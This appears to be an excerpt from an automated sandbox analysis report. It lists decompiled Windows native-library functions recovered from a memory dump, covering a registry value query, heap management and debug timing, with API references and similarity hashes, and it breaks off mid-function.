Instruction ID: 975eba283b232fcafe1c7a7da142948d4d4724623e6bdffcac6a63383a9bd86f
Opcode Fuzzy Hash: 757851e85805928b952504479f0a1ff735f47162feb88511cab735ae39b6d93a
Instruction Fuzzy Hash: 0001043A014A049FC710EF78848CB96B3B9EB56668F32C865E41A9B352DF31E980CA54

Uniqueness

Uniqueness Score: -1.00%

Function 6A91C600, Relevance: 12.2, APIs: 8, Instructions: 225
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E6A91C600(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				char _v1036;
				intOrPtr _v1040;
				char _v1048;
				intOrPtr _v1052;
				short _v1054;
				void* _v1056;
				void* _v1060;
				long* _v1064;
				char _v1068;
				long _v1076;
				intOrPtr _v1080;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				intOrPtr* _t81;
				void* _t101;
				void* _t102;
				void* _t107;
				intOrPtr _t109;
				long* _t110;
				long* _t111;
				long* _t112;
				long* _t113;
				intOrPtr _t114;
				intOrPtr _t116;
				void* _t117;
				intOrPtr _t118;
				void* _t120;
				long _t121;
				long _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x6aa0d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E6A926D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E6A95B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t74 = RtlAllocateHeap(_t107,  *0x6aa07b9c + 0x180000, _t121);
					_v1060 = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1068);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1056);
					_push(_t116);
					_t122 = E6A959650();
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *((intOrPtr*)(_t102 + 4));
							if(_t109 == 3 || _t109 == 7) {
								if(_t114 != _t109) {
									goto L59;
								}
								_t110 = _v1064;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1068 = _t118;
								if(_t110 == 0 ||  *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								} else {
									_push( *((intOrPtr*)(_t102 + 8)));
									_t59 = _t102 + 0xc; // 0xc
									_push(_t110);
									goto L54;
								}
							} else {
								_t118 = 4;
								if(_t109 != _t118) {
									if(_t109 != 0xb) {
										if(_t109 == 1) {
											if(_t114 != _t118) {
												_t118 =  *((intOrPtr*)(_t102 + 8));
												_v1068 = _t118;
												if(_t118 > _t77) {
													L10:
													_t122 = 0x80000005;
													L11:
													_t81 = _v1048;
													if(_t81 != 0 && (_t122 >= 0 || _t122 == 0x80000005)) {
														 *_t81 = _t118;
													}
													L15:
													_t78 = _v1060;
													if(_t78 != 0) {
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t78);
													}
													_t68 = _t122;
													goto L4;
												}
												_push(_t118);
												_t56 = _t102 + 0xc; // 0xc
												_push(_v1064);
												L54:
												memcpy();
												_t125 = _t125 + 0xc;
												goto L11;
											}
											if(_t77 != _t118) {
												L34:
												_t122 = 0xc0000004;
												goto L15;
											}
											_t111 = _v1064;
											if((_t111 & 0x00000003) == 0) {
												_v1068 = _t118;
												if(_t111 == 0) {
													goto L10;
												}
												_t42 = _t102 + 0xc; // 0xc
												_v1052 = _t42;
												_v1056 =  *((intOrPtr*)(_t102 + 8));
												_v1054 =  *((intOrPtr*)(_t102 + 8));
												_t122 = RtlUnicodeStringToInteger( &_v1056, 0, _t111);
												L44:
												_t118 = _v1080;
												goto L11;
											}
											_t122 = 0x80000002;
											goto L15;
										}
										_t122 = 0xc0000024;
										goto L44;
									}
									if(_t114 != _t109) {
										L59:
										_t122 = 0xc0000024;
										goto L15;
									}
									_t118 = 8;
									if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
										goto L34;
									} else {
										_t112 = _v1064;
										_v1068 = _t118;
										if(_t112 == 0) {
											goto L10;
										}
										 *_t112 =  *(_t102 + 0xc);
										_t112[1] =  *(_t102 + 0x10);
										goto L11;
									}
								}
								if(_t114 != _t118) {
									goto L59;
								}
								if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								} else {
									_t113 = _v1064;
									_v1068 = _t118;
									if(_t113 == 0) {
										goto L10;
									}
									 *_t113 =  *(_t102 + 0xc);
									goto L11;
								}
							}
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						if(_t118 <= _a20) {
							_t114 =  *((intOrPtr*)(_t102 + 4));
							_t77 = _t118;
							goto L26;
						}
						_v1068 = _t118;
						goto L10;
					}
					if(_t122 != 0x80000005) {
						goto L15;
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1076;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E6A959650();
				if(_t122 >= 0) {
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x6a91c608
0x6a91c615
0x6a91c625
0x6a91c62d
0x6a91c635
0x6a91c640
0x6a91c680
0x6a91c687
0x6a91c688
0x6a91c689
0x6a91c694
0x6a91c694
0x6a91c642
0x6a91c64a
0x6a91c697
0x6a987a25
0x6a987a2b
0x6a987a30
0x6a987bea
0x6a987bea
0x00000000
0x6a987bea
0x6a987a43
0x6a987a48
0x6a987a4e
0x00000000
0x00000000
0x6a987a58
0x6a987a5a
0x6a987a5b
0x6a987a5c
0x6a987a5d
0x6a987a63
0x6a987a64
0x6a987a6a
0x6a987a6e
0x6a9879cb
0x6a9879cb
0x6a9879d0
0x6a987a98
0x6a987a9b
0x6a987a9b
0x6a987aa1
0x6a987bc0
0x00000000
0x00000000
0x6a987bc2
0x6a987bc6
0x6a987bc9
0x6a987bcf
0x00000000
0x6a987bde
0x6a987ba9
0x6a987bac
0x6a987bb0
0x00000000
0x6a987bb0
0x6a987ab0
0x6a987ab2
0x6a987ab5
0x6a987aef
0x6a987b28
0x6a987b64
0x6a987b8f
0x6a987b92
0x6a987b98
0x6a9879e6
0x6a9879e6
0x6a9879eb
0x6a9879eb
0x6a9879f1
0x6a9879ff
0x6a9879ff
0x6a987a01
0x6a987a01
0x6a987a07
0x6a987a15
0x6a987a15
0x6a987a1a
0x00000000
0x6a987a1a
0x6a987b9e
0x6a987b9f
0x6a987ba3
0x6a987bb1
0x6a987bb1
0x6a987bb6
0x00000000
0x6a987bb6
0x6a987b68
0x6a987ae2
0x6a987ae2
0x00000000
0x6a987ae2
0x6a987b6e
0x6a987b75
0x6a987b81
0x6a987b87
0x00000000
0x00000000
0x6a987b31
0x6a987b34
0x6a987b3c
0x6a987b46
0x6a987b57
0x6a987b59
0x6a987b59
0x00000000
0x6a987b59
0x6a987b77
0x00000000
0x6a987b77
0x6a987b2a
0x00000000
0x6a987b2a
0x6a987af3
0x6a987be0
0x6a987be0
0x00000000
0x6a987be0
0x6a987afb
0x6a987afe
0x00000000
0x6a987b05
0x6a987b05
0x6a987b09
0x6a987b0f
0x00000000
0x00000000
0x6a987b18
0x6a987b1d
0x00000000
0x6a987b1d
0x6a987afe
0x6a987ab9
0x00000000
0x00000000
0x6a987ac1
0x00000000
0x6a987ac8
0x6a987ac8
0x6a987acc
0x6a987ad2
0x00000000
0x00000000
0x6a987adb
0x00000000
0x6a987adb
0x6a987ac1
0x6a987aa1
0x6a9879d6
0x6a9879dc
0x6a987a91
0x6a987a94
0x00000000
0x6a987a94
0x6a9879e2
0x00000000
0x6a9879e2
0x6a987a7a
0x00000000
0x00000000
0x6a987a8a
0x6a987a21
0x6a987a21
0x00000000
0x6a987a21
0x6a91c650
0x6a91c651
0x6a91c656
0x6a91c65c
0x6a91c65d
0x6a91c663
0x6a91c664
0x6a91c66a
0x6a91c66e
0x6a9879c7
0x00000000
0x6a9879c7
0x6a91c67a
0x00000000
0x00000000
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6A91C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6A91C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6A987A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6A987A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6A987A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6A987A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6A987B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6A987BB1

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 67629274aa467e8a20fa48e4c63be836b39862e5cebf4d79caa058dd6bab90c8
Instruction ID: aeea1ab24dd50c30a42ea685f8de79cff72586e297fd9aa059826ae24cd7a7d2
Opcode Fuzzy Hash: 67629274aa467e8a20fa48e4c63be836b39862e5cebf4d79caa058dd6bab90c8
Instruction Fuzzy Hash: 3F81A0B67482019FDB11CE18C880B2AB3E9EF85354F354C6EED649B241DB31ED41CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6A915050, Relevance: 12.1, APIs: 8, Instructions: 133
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6A915050(intOrPtr _a4) {
				char _v20;
				void* _v24;
				long _v26;
				void* _v28;
				void* _v40;
				void* _v42;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v64;
				intOrPtr _t34;
				void* _t36;
				void* _t38;
				signed short _t41;
				signed int _t51;
				void* _t58;
				void* _t60;
				void* _t69;
				intOrPtr _t74;
				long _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t82;
				void* _t84;

				_t84 = (_t82 & 0xfffffff8) - 0x1c;
				_t34 =  *[fs:0x30];
				_t58 =  *(_t34 + 0x18);
				_t74 =  *((intOrPtr*)(_t34 + 0x10));
				_v28 = _t58;
				if(E6A91519E(_a4) != 0) {
					_t36 = 0;
					L14:
					return _t36;
				}
				if(E6A9374C0(_a4) != 0) {
					_t36 = 0xc0000103;
				} else {
					_t78 =  *(_t74 + 0x26) & 0x0000ffff;
					while(1) {
						_t38 = RtlAllocateHeap(_t58, 0, _t78);
						_v24 = _t38;
						if(_t38 == 0) {
							break;
						}
						_v28 = 0;
						if(_t78 > 0xffff) {
							_v26 = 0xffff;
							L25:
							_t79 = 0xc0000095;
							L26:
							RtlFreeHeap(_t58, 0, _t38);
							_t36 = _t79;
							goto L14;
						}
						_v26 = _t78;
						_t80 = L6A936E30(_a4, _t78, _t38, 0, 0,  &_v20);
						if(_t80 == 0) {
							_t79 = 0xc0000033;
							L23:
							_t38 = _v24;
							goto L26;
						}
						_t41 = _v26;
						if(_t80 > (_t41 & 0x0000ffff) - 4) {
							__eflags =  *((char*)( *[fs:0x30] + 3));
							if(__eflags >= 0) {
								_t41 = _v26;
								goto L7;
							}
							RtlFreeHeap(_t58, 0, _v24);
							_t78 = _t80 + 4;
							continue;
						}
						L7:
						_t72 = _t41 & 0x0000ffff;
						if(_t80 > (_t41 & 0x0000ffff)) {
							_t79 = 0xc0000106;
							goto L23;
						}
						_t92 = _t80 - 0xffff;
						if(_t80 > 0xffff) {
							_v28 = 0xffff;
							_t38 = _v24;
							goto L25;
						}
						_v28 = _t80;
						_t60 = E6A94F0BF( &_v28, _t72, _t92, _t84 + 0x14);
						RtlFreeHeap(_v40, 0, _v28);
						if(_t60 >= 0) {
							L6A92EEF0(0x6aa079a0);
							_t69 = _v44;
							_t81 =  *0x6aa08210;
							 *((intOrPtr*)(_t74 + 0x2c)) =  *((intOrPtr*)(_t69 + 4));
							 *((intOrPtr*)(_t74 + 0x28)) =  *((intOrPtr*)(_t69 + 0x10));
							 *((short*)(_t74 + 0x24)) =  *((intOrPtr*)(_t69 + 0xc));
							 *0x6aa08210 = _t69;
							_t51 = E6A92EB70(_t69, 0x6aa079a0);
							if(_t81 != 0) {
								asm("lock xadd [esi], eax");
								if((_t51 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t81 + 4)));
									E6A9595D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t81);
								}
							}
						}
						_t36 = _t60;
						goto L14;
					}
					_t36 = 0xc0000017;
				}
			}

0x6a915058
0x6a91505b
0x6a915066
0x6a91506a
0x6a91506d
0x6a915078
0x6a91519a
0x6a915191
0x6a915197
0x6a915197
0x6a915088
0x6a970c21
0x6a91508e
0x6a91508e
0x6a915092
0x6a915096
0x6a91509b
0x6a9150a1
0x00000000
0x00000000
0x6a9150ae
0x6a9150b5
0x6a970c72
0x6a970c77
0x6a970c77
0x6a970c7c
0x6a970c80
0x6a970c85
0x00000000
0x6a970c85
0x6a9150bf
0x6a9150d4
0x6a9150d8
0x6a970c67
0x6a970c6c
0x6a970c6c
0x00000000
0x6a970c6c
0x6a9150de
0x6a9150eb
0x6a970c31
0x6a970c35
0x6a970c4b
0x00000000
0x6a970c4b
0x6a970c3e
0x6a970c43
0x00000000
0x6a970c43
0x6a9150f1
0x6a9150f1
0x6a9150f6
0x6a970c55
0x00000000
0x6a970c55
0x6a915101
0x6a915103
0x6a970c5c
0x6a970c61
0x00000000
0x6a970c61
0x6a91510d
0x6a915120
0x6a915128
0x6a91512f
0x6a915136
0x6a91513b
0x6a91513f
0x6a91514d
0x6a915153
0x6a91515a
0x6a91515e
0x6a915164
0x6a91516b
0x6a915170
0x6a915174
0x6a915176
0x6a915179
0x6a91518a
0x6a91518a
0x6a915174
0x6a91516b
0x6a91518f
0x00000000
0x6a91518f
0x6a970c8c
0x6a970c8c

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6A915096
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6A915128
RtlEnterCriticalSection.1105(6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6A915136
RtlLeaveCriticalSection.1105(6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6A915164
ZwClose.1105(?,6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,?,00000000), ref: 6A915179
RtlFreeHeap.1105(?,00000000,?,?,6AA079A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000), ref: 6A91518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6A970C3E
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6A970C80

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeave
String ID:
API String ID: 2057472621-0
Opcode ID: 01c6305b94eb143ed2053c0e702e72051f04d7f4a00ffef97293ec6895846b6a
Instruction ID: 9562bc4769242bba44464e555c77f38a1044a7366168d1d7d809c921259cd882
Opcode Fuzzy Hash: 01c6305b94eb143ed2053c0e702e72051f04d7f4a00ffef97293ec6895846b6a
Instruction Fuzzy Hash: E441E435608312AFD320DF28C884B6AB7A4EF65714F360929F9A69B251DF31DC41C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 6A94513A, Relevance: 10.8, APIs: 7, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6A94513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				int _v28;
				int* _v32;
				signed int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				void* _t165;
				signed int _t172;
				signed int _t181;
				void* _t185;
				void* _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				intOrPtr _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr _t230;
				void** _t233;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t241;
				void* _t246;
				signed int _t247;
				signed int _t248;
				void* _t249;
				void* _t252;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t257;

				_t256 = (_t254 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6aa0d360 ^ _t256;
				_v32 = _v32 & 0x00000000;
				_t252 = __edx;
				_t238 = __ecx;
				_t212 = 6;
				_t246 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t246, 0, _t212 << 2);
				_t257 = _t256 + 0xc;
				_t247 = _t246 + _t212;
				if(_t207 == 2) {
					_t248 =  *(_t238 + 0x60);
					_t208 =  *(_t238 + 0x64);
					_v63 =  *((intOrPtr*)(_t238 + 0x4c));
					_t159 =  *((intOrPtr*)(_t238 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t238 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t248;
					L8:
					_t214 = 0;
					if( *(_t238 + 0x74) > 0) {
						_t82 = _t238 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = 1 + _t214;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t238 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t238 +  *((intOrPtr*)(_v88 + _t238 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t238 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t238 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t241 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t252 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t241 + 0x4e) & 0x7fff)) {
								_t181 = E6A95D0F0(1, _t226 + 0x20, 0);
								_t230 = _v40;
								 *(_t230 + 8) = _t181;
								 *((intOrPtr*)(_t230 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t250 = _t127;
								E6A932280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *(_t210 + 0x94);
								if(_t185 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t185);
								}
								_t189 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v20 + 0x10);
								 *(_t210 + 0x94) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v28;
									( *(_t210 + 0x94))[3] = _v24;
									_t233 =  *(_t210 + 0x94);
									 *_t233 =  &(_t233[4]);
									_t233[1] = _t233[1] & 0x00000000;
									memcpy( *( *(_t210 + 0x94)), _v36, _v28);
									_t257 = _t257 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E6A92FFB0(_t210, _t250, _t250);
								_t222 = _v84;
								_t172 = _v88;
								_t208 = _v92;
								_t248 = _v96;
								L10:
								_t239 =  *((intOrPtr*)(_t252 + 0x1c));
								_v44 = _t239;
								if(_t239 != 0) {
									 *0x6aa0b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t248, _t208, _v32,  *((intOrPtr*)(_t252 + 0x20)));
									_v44();
								}
								_pop(_t249);
								_pop(_t253);
								_pop(_t209);
								return E6A95B640(0, _t209, _v8 ^ _t257, _t239, _t249, _t253);
							}
							_t181 = _v92;
							L31:
							_t226 = 1 + _t226;
							_t181 = _t181 + 0x18;
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t248 = _t247 | 0xffffffff;
				_t208 = _t248;
				_v84 = _t248;
				_v80 = _t208;
				if( *((intOrPtr*)(_t252 + 0x4c)) == _t157) {
					_t234 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t252 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t252 + 0x40);
					_t234 = _v72 |  *(_t252 + 0x44);
					_t248 =  *(_t252 + 0x38);
					_t208 =  *(_t252 + 0x3c);
					_v76 = _t202;
					_v72 = _t234;
					_v84 = _t248;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t234;
				if( *((char*)(_t252 + 0xc4)) != 0) {
					_t238 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t252 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t252 + 0xc5));
						_t238 = _v48;
					}
					_t203 = _t202 |  *(_t252 + 0xb8);
					_t235 = _t234 |  *(_t252 + 0xbc);
					_t248 = _t248 &  *(_t252 + 0xb0);
					_t208 = _t208 &  *(_t252 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t235;
					_v72 = _t235;
					_v84 = _t248;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t248 = 0;
					 *(_t238 + 0x74) =  *(_t238 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x6a945142
0x6a94514c
0x6a945150
0x6a945157
0x6a945159
0x6a94515e
0x6a945165
0x6a945169
0x6a94516c
0x6a945172
0x6a945176
0x6a94517a
0x6a94517a
0x6a94517a
0x6a94517f
0x6a986d8b
0x6a986d8e
0x6a986d91
0x6a986d95
0x6a986d98
0x6a986d9c
0x6a986da0
0x6a986da3
0x6a986da7
0x6a986e26
0x6a986e26
0x6a986e2a
0x6a9451f9
0x6a9451f9
0x6a9451fe
0x6a986e33
0x6a986e33
0x6a986e39
0x6a986e3d
0x6a986e46
0x6a986e50
0x00000000
0x00000000
0x6a986e52
0x6a986e53
0x6a986e56
0x6a986e5d
0x00000000
0x00000000
0x00000000
0x6a986e5f
0x6a986e67
0x6a986e77
0x6a986e7f
0x6a986e80
0x6a986e88
0x6a986e90
0x6a986e9f
0x6a986ea5
0x6a986ea9
0x6a986eb1
0x6a986ebf
0x00000000
0x00000000
0x6a986ecf
0x6a986ed3
0x00000000
0x00000000
0x6a986edb
0x6a986ede
0x6a986ee1
0x6a986ee8
0x6a986eeb
0x6a986eed
0x6a986ef0
0x6a986ef4
0x6a986ef8
0x6a986efc
0x00000000
0x00000000
0x6a986f0d
0x6a986f11
0x6a986f32
0x6a986f37
0x6a986f3b
0x6a986f3e
0x6a986f41
0x6a986f46
0x00000000
0x00000000
0x6a986f4c
0x6a986f50
0x6a986f50
0x6a986f54
0x6a986f62
0x6a986f65
0x6a986f6d
0x6a986f7b
0x6a986f7b
0x6a986f93
0x6a986f98
0x6a986fa0
0x6a986fa6
0x6a986fb3
0x6a986fb6
0x6a986fbf
0x6a986fc1
0x6a986fd5
0x6a986fda
0x6a986fda
0x6a986fdd
0x6a986fe2
0x6a986fe7
0x6a986feb
0x6a986fef
0x6a986ff3
0x6a94520c
0x6a94520c
0x6a94520f
0x6a945215
0x6a945234
0x6a94523a
0x6a94523a
0x6a945244
0x6a945245
0x6a945246
0x6a945251
0x6a945251
0x6a986f13
0x6a986f17
0x6a986f17
0x6a986f18
0x6a986f1b
0x6a986f1f
0x6a986f23
0x00000000
0x6a986f28
0x6a945204
0x6a945204
0x6a945208
0x00000000
0x6a945208
0x6a945185
0x6a945188
0x6a94518a
0x6a94518e
0x6a945195
0x6a986db1
0x6a986db5
0x6a986db9
0x6a94519b
0x6a94519b
0x6a94519e
0x6a9451a7
0x6a9451a9
0x6a9451a9
0x6a9451b5
0x6a9451b8
0x6a9451bb
0x6a9451be
0x6a9451c1
0x6a9451c5
0x6a9451c9
0x6a9451cd
0x6a9451cd
0x6a9451d8
0x6a9451dc
0x6a9451e0
0x6a986dcc
0x6a986dd0
0x6a986dd5
0x6a986ddd
0x6a986de1
0x6a986de1
0x6a986de5
0x6a986deb
0x6a986df1
0x6a986df7
0x6a986dfd
0x6a986e01
0x6a986e05
0x6a986e09
0x6a986e0d
0x6a986e11
0x6a986e11
0x6a9451eb
0x6a986e1a
0x6a986e1f
0x6a986e21
0x6a986e23
0x00000000
0x6a9451f1
0x6a9451f1
0x00000000
0x6a9451f1

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6AA086CC,?,000000FF,?,000000A0,?), ref: 6A945234

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 23b3c865b0f93f5c3fa450c31069774fdc804850928ef0ab17baa88ee5470a0f
Instruction ID: 68370b4f66605033a69083abb97e631589048fc130fd2bb5a7ec0fca4da0c6a4
Opcode Fuzzy Hash: 23b3c865b0f93f5c3fa450c31069774fdc804850928ef0ab17baa88ee5470a0f
Instruction Fuzzy Hash: F8C112B55093809FD354CF28C580A5ABBF1BF89308F24896EF9998B352DB71E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6A93B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A93B73D(void* __ecx, signed int __edx, intOrPtr* _a4, unsigned int _a8, intOrPtr _a12, signed int* _a16) {
				signed int _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t72;
				char _t76;
				signed char _t77;
				intOrPtr* _t80;
				unsigned int _t85;
				signed int* _t86;
				signed int _t88;
				signed char _t89;
				intOrPtr _t90;
				intOrPtr _t101;
				intOrPtr* _t111;
				void* _t117;
				intOrPtr* _t118;
				signed int _t120;
				signed char _t121;
				intOrPtr* _t123;
				signed int _t126;
				intOrPtr _t136;
				signed int _t139;
				void* _t140;
				signed int _t141;
				void* _t147;

				_t111 = _a4;
				_t140 = __ecx;
				_v8 = __edx;
				_t3 = _t111 + 0x18; // 0x0
				 *((intOrPtr*)(_t111 + 0x10)) = _t3;
				_t5 = _t111 - 8; // -32
				_t141 = _t5;
				 *(_t111 + 0x14) = _a8;
				_t72 = 4;
				 *(_t141 + 2) = 1;
				 *_t141 = _t72;
				 *((char*)(_t141 + 7)) = 3;
				_t134 =  *((intOrPtr*)(__edx + 0x18));
				if( *((intOrPtr*)(__edx + 0x18)) != __edx) {
